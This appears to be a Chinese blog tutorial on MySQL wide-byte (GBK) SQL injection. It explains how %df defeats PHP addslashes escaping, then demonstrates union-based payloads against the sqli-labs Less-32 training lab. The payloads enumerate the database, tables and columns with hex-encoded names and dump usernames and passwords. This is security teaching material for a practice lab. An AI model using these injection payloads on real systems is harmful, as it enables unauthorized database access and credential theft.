MySQL 宽字节注入

MySQL 宽字节注入

1.宽字节诸如基础

GBK占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MySQL默认字符集是GBK等宽字节字符集。

%DF':会被PHP当中的addslashes函数转义为"%DF","“既URL里的“%5C”,那也就是说,“%DF”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MySQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字节。也就是”運'"
URL在线解密工具链接:
http://tool.chinaz.com/tools/urlencode.aspx
在这里插入图片描述

2.宽字节注入代码分析

在这里插入图片描述

addslashes()函数定义和用法

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL

提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释:默认地,PHP 对所有的 GETPOSTCOOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

3.宽字节SQL注入实战化

sqli-labs-less32为例
1.使用1'进行探测,报错
在这里插入图片描述
2.发现单引号被转义,使用%df'进行探测
在这里插入图片描述
3.使用--+将其后面的内容注释

?id=1%df'--+

在这里插入图片描述

4.使用union注入,判断注入点

?id=-1%df' union select 1,2,3--+

在这里插入图片描述

5.获取数据库信息

?id=-1%df' union select 1,database(),3--+

在这里插入图片描述
6.知道数据库为security,获取表名信息

?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

在这里插入图片描述

7.知道数据库为security,使用的表名为users,爆破字段名,因为过滤了单引号,这里采用字符串转十六进制编码绕过
编码转换网站:https://www.sojson.com/hexadecimal.html
在这里插入图片描述

?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273),3--+

在这里插入图片描述
获取字段信息内容

?id=-1%df' union select 1,(select group_concat(id,username,password) from users),3--+

在这里插入图片描述



  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值